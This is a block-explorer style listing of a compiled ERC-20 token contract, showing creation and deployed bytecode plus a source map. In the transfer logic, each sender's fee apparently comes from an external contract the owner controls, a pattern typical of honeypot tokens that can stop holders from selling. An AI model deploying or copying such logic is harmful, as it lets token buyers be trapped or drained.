8731c573d62871a4d50d58e7fc592b64736f6c63430008180033

Deployed Bytecode

0x6080604052600436106100dc575f3560e01c806370a082311161007e57806395d89b411161005857806395d89b4114610298578063a9059cbb146102c2578063c36956a0146102fe578063dd62ed3e14610328576100dc565b806370a082311461021c578063715018a6146102585780638da5cb5b1461026e576100dc565b806318160ddd116100ba57806318160ddd1461017057806323b872dd1461019a578063313ce567146101d65780634b540f8814610200576100dc565b806306fdde03146100e0578063095ea7b31461010a5780630c19304514610146575b5f80fd5b3480156100eb575f80fd5b506100f4610364565b604051610101919061148c565b60405180910390f35b348015610115575f80fd5b50610130600480360381019061012b919061154a565b6103f4565b60405161013d91906115a2565b60405180910390f35b348015610151575f80fd5b5061015a61040a565b60405161016791906115ca565b60405180910390f35b34801561017b575f80fd5b50610184610410565b60405161019191906115ca565b60405180910390f35b3480156101a5575f80fd5b506101c060048036038101906101bb91906115e3565b610419565b6040516101cd91906115a2565b60405180910390f35b3480156101e1575f80fd5b506101ea6104c5565b6040516101f7919061164e565b60405180910390f35b61021a60048036038101906102159190611793565b6104da565b005b348015610227575f80fd5b50610242600480360381019061023d9190611809565b61098e565b60405161024f91906115ca565b60405180910390f35b348015610263575f80fd5b5061026c6109d4565b005b348015610279575f80fd5b50610282610b1b565b60405161028f9190611843565b60405180910390f35b3480156102a3575f80fd5b506102ac610b42565b6040516102b9919061148c565b60405180910390f35b3480156102cd575f80fd5b506102e860048036038101906102e3919061154a565b610bd2565b6040516102f591906115a2565b60405180910390f35b348015610309575f80fd5b50610312610be8565b60405161031f91906115ca565b60405180910390f35b348015610333575f80fd5b5061034e6004803603810190610349919061185c565b610bee565b60405161035b91906115ca565b60405180910390f35b606060068054610373906118c7565b80601f016020809104026020016040519081016040528092919081815260200182805461039f906118c7565b80156103ea5780601f106103c1576101008083540402835291602001916103ea565b820191905f5260205f20905b8154815290600101906020018083116103cd57829003601f168201915b5050505050905090565b5f610400338484610c70565b6001905092915050565b600b5481565b5f600354905090565b5f610425848484610e33565b6104ba84336104b58560025f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461127590919063ffffffff16565b610c70565b600190509392505050565b5f8060149054906101000a900460ff16905090565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610567576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161055e90611941565b60405180910390fd5b600860149054906101000a900460ff16156105b7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105ae906119a9565b60405180910390fd5b81600690816105c69190611b64565b5080600790816105d69190611b64565b506106053060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16600354610c70565b60055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561066f573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906106939190611c47565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610719573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061073d9190611c47565b6040518363ffffffff1660e01b815260040161075a929190611c72565b6020604051808303815f875af1158015610776573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061079a9190611c47565b60045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71934306108213061098e565b5f8061082b610b1b565b426040518863ffffffff1660e01b815260040161084d96959493929190611cd2565b60606040518083038185885af1158015610869573d5f803e3d5ffd5b50505050506040513d601f19601f8201168201806040525081019061088e9190611d45565b50505060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360055f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161092e929190611d95565b6020604051808303815f875af115801561094a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061096e9190611de6565b506001600860146101000a81548160ff0219169083151502179055505050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b3373ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a61576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5890611941565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b606060078054610b51906118c7565b80601f0160208091040260200160405190810160405280929190818152602001828054610b7d906118c7565b8015610bc85780601f10610b9f57610100808354040283529160200191610bc8565b820191905f5260205f20905b815481529060010190602001808311610bab57829003601f168201915b5050505050905090565b5f610bde338484610e33565b6001905092915050565b600f5481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610cde576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cd590611e81565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610d4c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d4390611f0f565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610e2691906115ca565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610ea1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e9890611f9d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f0f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f069061202b565b60405180910390fd5b5f8111610f51576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f48906120b9565b60405180910390fd5b5f600b5460105410610f6557600c54610f69565b600a545b90505f60085f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166370a08231866040518263ffffffff1660e01b8152600401610fc69190611843565b602060405180830381865afa158015610fe1573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061100591906120d7565b90503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614158015611090575060045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b156110ab57600f5481116110a657600e546110a8565b805b91505b5f6110d260646110c485876112d290919063ffffffff16565b61134990919063ffffffff16565b9050611136816111288660015f8a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546113a590919063ffffffff16565b61127590919063ffffffff16565b60015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506111c78460015f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461127590919063ffffffff16565b60015f8873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8660405161126591906115ca565b60405180910390a3505050505050565b5f828211156112b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112b09061214c565b60405180910390fd5b5f82846112c69190612197565b90508091505092915050565b5f8083036112e2575f9050611343565b5f82846112ef91906121ca565b90508284826112fe9190612238565b1461133e576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611335906122d8565b60405180910390fd5b809150505b92915050565b5f80821161138c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161138390612340565b60405180910390fd5b5f82846113999190612238565b90508091505092915050565b5f8082846113b3919061235e565b9050838110156113f8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113ef906123db565b60405180910390fd5b8091505092915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561143957808201518184015260208101905061141e565b5f8484015250505050565b5f601f19601f8301169050919050565b5f61145e82611402565b611468818561140c565b935061147881856020860161141c565b61148181611444565b840191505092915050565b5f6020820190508181035f8301526114a48184611454565b905092915050565b5f604051905090565b5f80fd5b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f6114e6826114bd565b9050919050565b6114f6816114dc565b8114611500575f80fd5b50565b5f81359050611511816114ed565b92915050565b5f819050919050565b61152981611517565b8114611533575f80fd5b50565b5f8135905061154481611520565b92915050565b5f80604083850312156115605761155f6114b5565b5b5f61156d85828601611503565b925050602061157e85828601611536565b9150509250929050565b5f8115159050919050565b61159c81611588565b82525050565b5f6020820190506115b55f830184611593565b92915050565b6115c481611517565b82525050565b5f6020820190506115dd5f8301846115bb565b92915050565b5f805f606084860312156115fa576115f96114b5565b5b5f61160786828701611503565b935050602061161886828701611503565b925050604061162986828701611536565b9150509250925092565b5f60ff82169050919050565b61164881611633565b82525050565b5f6020820190506116615f83018461163f565b92915050565b5f80fd5b5f80fd5b7f4e487b71000000000000000000000000000000000000000000000000000000005f52604160045260245ffd5b6116a582611444565b810181811067ffffffffffffffff821117156116c4576116c361166f565b5b80604052505050565b5f6116d66114ac565b90506116e2828261169c565b919050565b5f67ffffffffffffffff8211156117015761170061166f565b5b61170a82611444565b9050602081019050919050565b828183375f83830152505050565b5f611737611732846116e7565b6116cd565b9050828152602081018484840111156117535761175261166b565b5b61175e848285611717565b509392505050565b5f82601f83011261177a57611779611667565b5b813561178a848260208601611725565b91505092915050565b5f80604083850312156117a9576117a86114b5565b5b5f83013567ffffffffffffffff8111156117c6576117c56114b9565b5b6117d285828601611766565b925050602083013567ffffffffffffffff8111156117f3576117f26114b9565b5b6117ff85828601611766565b9150509250929050565b5f6020828403121561181e5761181d6114b5565b5b5f61182b84828501611503565b91505092915050565b61183d816114dc565b82525050565b5f6020820190506118565f830184611834565b92915050565b5f8060408385031215611872576118716114b5565b5b5f61187f85828601611503565b925050602061189085828601611503565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f60028204905060018216806118de57607f821691505b6020821081036118f1576118f061189a565b5b50919050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f61192b60208361140c565b9150611936826118f7565b602082019050919050565b5f6020820190508181035f8301526119588161191f565b9050919050565b7f74726164696e6720697320616c7265616479206f70656e0000000000000000005f82015250565b5f61199360178361140c565b915061199e8261195f565b602082019050919050565b5f6020820190508181035f8301526119c081611987565b9050919050565b5f819050815f5260205f209050919050565b5f6020601f8301049050919050565b5f82821b905092915050565b5f60088302611a237fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff826119e8565b611a2d86836119e8565b95508019841693508086168417925050509392505050565b5f819050919050565b5f611a68611a63611a5e84611517565b611a45565b611517565b9050919050565b5f819050919050565b611a8183611a4e565b611a95611a8d82611a6f565b8484546119f4565b825550505050565b5f90565b611aa9611a9d565b611ab4818484611a78565b505050565b5b81811015611ad757611acc5f82611aa1565b600181019050611aba565b5050565b601f821115611b1c57611aed816119c7565b611af6846119d9565b81016020851015611b05578190505b611b19611b11856119d9565b830182611ab9565b50505b505050565b5f82821c905092915050565b5f611b3c5f1984600802611b21565b1980831691505092915050565b5f611b548383611b2d565b9150826002028217905092915050565b611b6d82611402565b67ffffffffffffffff811115611b8657611b8561166f565b5b611b9082546118c7565b611b9b828285611adb565b5f60209050601f831160018114611bcc575f8415611bba578287015190505b611bc48582611b49565b865550611c2b565b601f198416611bda866119c7565b5f5b82811015611c0157848901518255600182019150602085019450602081019050611bdc565b86831015611c1e5784890151611c1a601f891682611b2d565b8355505b6001600288020188555050505b505050505050565b5f81519050611c41816114ed565b92915050565b5f60208284031215611c5c57611c5b6114b5565b5b5f611c6984828501611c33565b91505092915050565b5f604082019050611c855f830185611834565b611c926020830184611834565b9392505050565b5f819050919050565b5f611cbc611cb7611cb284611c99565b611a45565b611517565b9050919050565b611ccc81611ca2565b82525050565b5f60c082019050611ce55f830189611834565b611cf260208301886115bb565b611cff6040830187611cc3565b611d0c6060830186611cc3565b611d196080830185611834565b611d2660a08301846115bb565b979650505050505050565b5f81519050611d3f81611520565b92915050565b5f805f60608486031215611d5c57611d5b6114b5565b5b5f611d6986828701611d31565b9350506020611d7a86828701611d31565b9250506040611d8b86828701611d31565b9150509250925092565b5f604082019050611da85f830185611834565b611db560208301846115bb565b9392505050565b611dc581611588565b8114611dcf575f80fd5b50565b5f81519050611de081611dbc565b92915050565b5f60208284031215611dfb57611dfa6114b5565b5b5f611e0884828501611dd2565b91505092915050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f206164645f8201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b5f611e6b60248361140c565b9150611e7682611e11565b604082019050919050565b5f6020820190508181035f830152611e9881611e5f565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f2061646472655f8201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b5f611ef960228361140c565b9150611f0482611e9f565b604082019050919050565b5f6020820190508181035f830152611f2681611eed565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f2061645f8201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b5f611f8760258361140c565b9150611f9282611f2d565b604082019050919050565b5f6020820190508181035f830152611fb481611f7b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f20616464725f8201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b5f61201560238361140c565b915061202082611fbb565b604082019050919050565b5f6020820190508181035f83015261204281612009565b9050919050565b7f5472616e7366657220616d6f756e74206d7573742062652067726561746572205f8201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b5f6120a360298361140c565b91506120ae82612049565b604082019050919050565b5f6020820190508181035f8301526120d081612097565b9050919050565b5f602082840312156120ec576120eb6114b5565b5b5f6120f984828501611d31565b91505092915050565b7f536166654d6174683a20207375627472616374696f6e206f766572666c6f77005f82015250565b5f612136601f8361140c565b915061214182612102565b602082019050919050565b5f6020820190508181035f8301526121638161212a565b9050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f6121a182611517565b91506121ac83611517565b92508282039050818111156121c4576121c361216a565b5b92915050565b5f6121d482611517565b91506121df83611517565b92508282026121ed81611517565b915082820484148315176122045761220361216a565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f61224282611517565b915061224d83611517565b92508261225d5761225c61220b565b5b828204905092915050565b7f536166654d6174683a20206d756c7469706c69636174696f6e206f766572666c5f8201527f6f77000000000000000000000000000000000000000000000000000000000000602082015250565b5f6122c260228361140c565b91506122cd82612268565b604082019050919050565b5f6020820190508181035f8301526122ef816122b6565b9050919050565b7f536166654d6174683a20206469766973696f6e206279207a65726f00000000005f82015250565b5f61232a601b8361140c565b9150612335826122f6565b602082019050919050565b5f6020820190508181035f8301526123578161231e565b9050919050565b5f61236882611517565b915061237383611517565b925082820190508082111561238b5761238a61216a565b5b92915050565b7f536166654d6174683a20206164646974696f6e206f766572666c6f77000000005f82015250565b5f6123c5601c8361140c565b91506123d082612391565b602082019050919050565b5f6020820190508181035f8301526123f2816123b9565b905091905056fea2646970667358221220440d75d2c553a489959689f377027df45a8731c573d62871a4d50d58e7fc592b64736f6c63430008180033

Deployed Bytecode Sourcemap

2633:4405:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3978:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4354:150;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3435:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4164:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4516:256;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4263:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6380:655;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;5123:110;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;2476:148;;;;;;;;;;;;;:::i;:::-;;2264:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4069:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5241:156;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3589:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6238:134;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3978:83;4015:13;4048:5;4041:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;3978:83;:::o;4354:150::-;4420:4;4437:37;4446:10;4458:7;4467:6;4437:8;:37::i;:::-;4492:4;4485:11;;4354:150;;;;:::o;3435:32::-;;;;:::o;4164:91::-;4208:7;4235:12;;4228:19;;4164:91;:::o;4516:256::-;4605:4;4622:36;4632:6;4640:9;4651:6;4622:9;:36::i;:::-;4669:73;4678:6;4686:10;4698:43;4734:6;4698:11;:19;4710:6;4698:19;;;;;;;;;;;;;;;:31;4718:10;4698:31;;;;;;;;;;;;;;;;:35;;:43;;;;:::i;:::-;4669:8;:73::i;:::-;4760:4;4753:11;;4516:256;;;;;:::o;4263:83::-;4304:5;4329:9;;;;;;;;;;;4322:16;;4263:83;:::o;6380:655::-;2401:10;2391:20;;:6;;;;;;;;;;:20;;;2383:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;6499:11:::1;;;;;;;;;;;6498:12;6490:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;6556:7;6548:5;:15;;;;;;:::i;:::-;;6584:9;6574:7;:19;;;;;;:::i;:::-;;6604:63;6621:4;6636:15;;;;;;;;;;;6654:12;;6604:8;:63::i;:::-;6712:15;;;;;;;;;;;:23;;;:25;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6694:55;;;6758:4;6765:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6694:94;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;6678:13;;:110;;;;;;;;;;;;;;;;;;6799:15;;;;;;;;;;;:31;;;6838:9;6857:4;6863:24;6881:4;6863:9;:24::i;:::-;6888:1;6890::::0;6892:7:::1;:5;:7::i;:::-;6900:15;6799:117;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;6934:13;;;;;;;;;;;6927:29;;;6965:15;;;;;;;;;;;6983:14;6927:71;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;7023:4;7009:11;;:18;;;;;;;;;;;;;;;;;;6380:655:::0;;:::o;5123:110::-;5180:7;5207:9;:18;5217:7;5207:18;;;;;;;;;;;;;;;;5200:25;;5123:110;;;:::o;2476:148::-;2401:10;2391:20;;:6;;;;;;;;;;:20;;;2383:65;;;;;;;;;;;;:::i;:::-;;;;;;;;;2583:1:::1;2546:40;;2567:6;::::0;::::1;;;;;;;;2546:40;;;;;;;;;;;;2614:1;2597:6:::0;::::1;:19;;;;;;;;;;;;;;;;;;2476:148::o:0;2264:79::-;2302:7;2329:6;;;;;;;;;;;2322:13;;2264:79;:::o;4069:87::-;4108:13;4141:7;4134:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4069:87;:::o;5241:156::-;5310:4;5327:40;5337:10;5349:9;5360:6;5327:9;:40::i;:::-;5385:4;5378:11;;5241:156;;;;:::o;3589:33::-;;;;:::o;6238:134::-;6310:7;6337:11;:18;6349:5;6337:18;;;;;;;;;;;;;;;:27;6356:7;6337:27;;;;;;;;;;;;;;;;6330:34;;6238:134;;;;:::o;4780:335::-;4890:1;4873:19;;:5;:19;;;4865:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;4971:1;4952:21;;:7;:21;;;4944:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5053:6;5023:11;:18;5035:5;5023:18;;;;;;;;;;;;;;;:27;5042:7;5023:27;;;;;;;;;;;;;;;:36;;;;5091:7;5075:32;;5084:5;5075:32;;;5100:6;5075:32;;;;;;:::i;:::-;;;;;;;;4780:335;;;:::o;5405:825::-;5509:1;5493:18;;:4;:18;;;5485:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;5586:1;5572:16;;:2;:16;;;5564:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5656:1;5647:6;:10;5639:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;5714:12;5741:15;;5729:9;;:27;:59;;5776:12;;5729:59;;;5759:14;;5729:59;5714:74;;5799:15;5824:10;;;;;;;;;;;5817:28;;;5846:4;5817:34;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;5799:52;;5882:4;5866:21;;:4;:21;;;;:46;;;;;5899:13;;;;;;;;;;;5891:21;;:4;:21;;;;5866:46;5862:138;;;5946:16;;5936:7;:26;:52;;5975:13;;5936:52;;;5965:7;5936:52;5929:59;;5862:138;6010:18;6031:25;6052:3;6031:16;6042:4;6031:6;:10;;:16;;;;:::i;:::-;:20;;:25;;;;:::i;:::-;6010:46;;6083:41;6113:10;6083:25;6101:6;6083:9;:13;6093:2;6083:13;;;;;;;;;;;;;;;;:17;;:25;;;;:::i;:::-;:29;;:41;;;;:::i;:::-;6067:9;:13;6077:2;6067:13;;;;;;;;;;;;;;;:57;;;;6153:27;6173:6;6153:9;:15;6163:4;6153:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;6135:9;:15;6145:4;6135:15;;;;;;;;;;;;;;;:45;;;;6211:2;6196:26;;6205:4;6196:26;;;6215:6;6196:26;;;;;;:::i;:::-;;;;;;;;5474:756;;;5405:825;;;:::o;115:183::-;173:7;206:1;201;:6;;193:50;;;;;;;;;;;;:::i;:::-;;;;;;;;;254:9;270:1;266;:5;;;;:::i;:::-;254:17;;289:1;282:8;;;115:183;;;;:::o;680:223::-;738:7;767:1;762;:6;758:23;;778:1;771:8;;;;758:23;791:9;807:1;803;:5;;;;:::i;:::-;791:17;;836:1;831;827;:5;;;;:::i;:::-;:10;819:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;894:1;887:8;;;680:223;;;;;:::o;494:178::-;552:7;584:1;580;:5;572:45;;;;;;;;;;;;:::i;:::-;;;;;;;;;628:9;644:1;640;:5;;;;:::i;:::-;628:17;;663:1;656:8;;;494:178;;;;:::o;306:180::-;364:7;384:9;400:1;396;:5;;;;:::i;:::-;384:17;;425:1;420;:6;;412:47;;;;;;;;;;;;:::i;:::-;;;;;;;;;477:1;470:8;;;306:180;;;;:::o;7:99:1:-;59:6;93:5;87:12;77:22;;7:99;;;:::o;112:169::-;196:11;230:6;225:3;218:19;270:4;265:3;261:14;246:29;;112:169;;;;:::o;287:246::-;368:1;378:113;392:6;389:1;386:13;378:113;;;477:1;472:3;468:11;462:18;458:1;453:3;449:11;442:39;414:2;411:1;407:10;402:15;;378:113;;;525:1;516:6;511:3;507:16;500:27;349:184;287:246;;;:::o;539:102::-;580:6;631:2;627:7;622:2;615:5;611:14;607:28;597:38;;539:102;;;:::o;647:377::-;735:3;763:39;796:5;763:39;:::i;:::-;818:71;882:6;877:3;818:71;:::i;:::-;811:78;;898:65;956:6;951:3;944:4;937:5;933:16;898:65;:::i;:::-;988:29;1010:6;988:29;:::i;:::-;983:3;979:39;972:46;;739:285;647:377;;;;:::o;1030:313::-;1143:4;1181:2;1170:9;1166:18;1158:26;;1230:9;1224:4;1220:20;1216:1;1205:9;1201:17;1194:47;1258:78;1331:4;1322:6;1258:78;:::i;:::-;1250:86;;1030:313;;;;:::o;1349:75::-;1382:6;1415:2;1409:9;1399:19;;1349:75;:::o;1430:117::-;1539:1;1536;1529:12;1553:117;1662:1;1659;1652:12;1676:126;1713:7;1753:42;1746:5;1742:54;1731:65;;1676:126;;;:::o;1808:96::-;1845:7;1874:24;1892:5;1874:24;:::i;:::-;1863:35;;1808:96;;;:::o;1910:122::-;1983:24;2001:5;1983:24;:::i;:::-;1976:5;1973:35;1963:63;;2022:1;2019;2012:12;1963:63;1910:122;:::o;2038:139::-;2084:5;2122:6;2109:20;2100:29;;2138:33;2165:5;2138:33;:::i;:::-;2038:139;;;;:::o;2183:77::-;2220:7;2249:5;2238:16;;2183:77;;;:::o;2266:122::-;2339:24;2357:5;2339:24;:::i;:::-;2332:5;2329:35;2319:63;;2378:1;2375;2368:12;2319:63;2266:122;:::o;2394:139::-;2440:5;2478:6;2465:20;2456:29;;2494:33;2521:5;2494:33;:::i;:::-;2394:139;;;;:::o;2539:474::-;2607:6;2615;2664:2;2652:9;2643:7;2639:23;2635:32;2632:119;;;2670:79;;:::i;:::-;2632:119;2790:1;2815:53;2860:7;2851:6;2840:9;2836:22;2815:53;:::i;:::-;2805:63;;2761:117;2917:2;2943:53;2988:7;2979:6;2968:9;2964:22;2943:53;:::i;:::-;2933:63;;2888:118;2539:474;;;;;:::o;3019:90::-;3053:7;3096:5;3089:13;3082:21;3071:32;;3019:90;;;:::o;3115:109::-;3196:21;3211:5;3196:21;:::i;:::-;3191:3;3184:34;3115:109;;:::o;3230:210::-;3317:4;3355:2;3344:9;3340:18;3332:26;;3368:65;3430:1;3419:9;3415:17;3406:6;3368:65;:::i;:::-;3230:210;;;;:::o;3446:118::-;3533:24;3551:5;3533:24;:::i;:::-;3528:3;3521:37;3446:118;;:::o;3570:222::-;3663:4;3701:2;3690:9;3686:18;3678:26;;3714:71;3782:1;3771:9;3767:17;3758:6;3714:71;:::i;:::-;3570:222;;;;:::o;3798:619::-;3875:6;3883;3891;3940:2;3928:9;3919:7;3915:23;3911:32;3908:119;;;3946:79;;:::i;:::-;3908:119;4066:1;4091:53;4136:7;4127:6;4116:9;4112:22;4091:53;:::i;:::-;4081:63;;4037:117;4193:2;4219:53;4264:7;4255:6;4244:9;4240:22;4219:53;:::i;:::-;4209:63;;4164:118;4321:2;4347:53;4392:7;4383:6;4372:9;4368:22;4347:53;:::i;:::-;4337:63;;4292:118;3798:619;;;;;:::o;4423:86::-;4458:7;4498:4;4491:5;4487:16;4476:27;;4423:86;;;:::o;4515:112::-;4598:22;4614:5;4598:22;:::i;:::-;4593:3;4586:35;4515:112;;:::o;4633:214::-;4722:4;4760:2;4749:9;4745:18;4737:26;;4773:67;4837:1;4826:9;4822:17;4813:6;4773:67;:::i;:::-;4633:214;;;;:::o;4853:117::-;4962:1;4959;4952:12;4976:117;5085:1;5082;5075:12;5099:180;5147:77;5144:1;5137:88;5244:4;5241:1;5234:15;5268:4;5265:1;5258:15;5285:281;5368:27;5390:4;5368:27;:::i;:::-;5360:6;5356:40;5498:6;5486:10;5483:22;5462:18;5450:10;5447:34;5444:62;5441:88;;